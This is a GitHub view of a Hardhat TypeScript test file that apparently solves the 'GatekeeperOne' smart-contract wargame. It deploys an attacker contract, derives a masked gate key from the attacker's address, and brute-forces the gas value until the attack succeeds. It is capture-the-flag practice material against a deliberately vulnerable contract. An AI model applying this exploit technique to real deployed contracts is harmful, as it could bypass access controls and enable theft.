generated from nicobevilacqua/hardhat-solidity-typescript-boilerplate
-
Notifications
You must be signed in to change notification settings - Fork 0
/
13-GatekeeperOne.test.ts
44 lines (38 loc) · 1.3 KB
/
13-GatekeeperOne.test.ts
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import { SignerWithAddress } from '@nomiclabs/hardhat-ethers/signers';
import { expect } from 'chai';
import { BigNumber, Contract } from 'ethers';
import { ethers } from 'hardhat';
describe('GatekeeperOne', () => {
let owner: SignerWithAddress;
let attacker: SignerWithAddress;
let contract: Contract;
before(async () => {
[owner, attacker] = await ethers.getSigners();
const Factory = await ethers.getContractFactory('GatekeeperOne');
contract = await Factory.connect(owner).deploy();
await contract.deployed();
});
it('attack', async () => {
const AttackerFactory = await ethers.getContractFactory(
'GatekeeperOneAttacker'
);
const attackerContract = await AttackerFactory.connect(attacker).deploy(
contract.address
);
for (let i = 0; i < 8191; i++) {
// console.log(i);
try {
const mask = '0xffffffff0000ffff';
const shortAddress = `0x${attacker.address.slice(
attacker.address.length - 16,
attacker.address.length
)}`;
const gateKey = BigNumber.from(shortAddress).and(mask);
const tx = await attackerContract.enter(i, BigNumber.from(gateKey));
await tx.wait();
break;
} catch (err) {}
}
expect(await contract.entrant()).to.eq(attacker.address);
});
});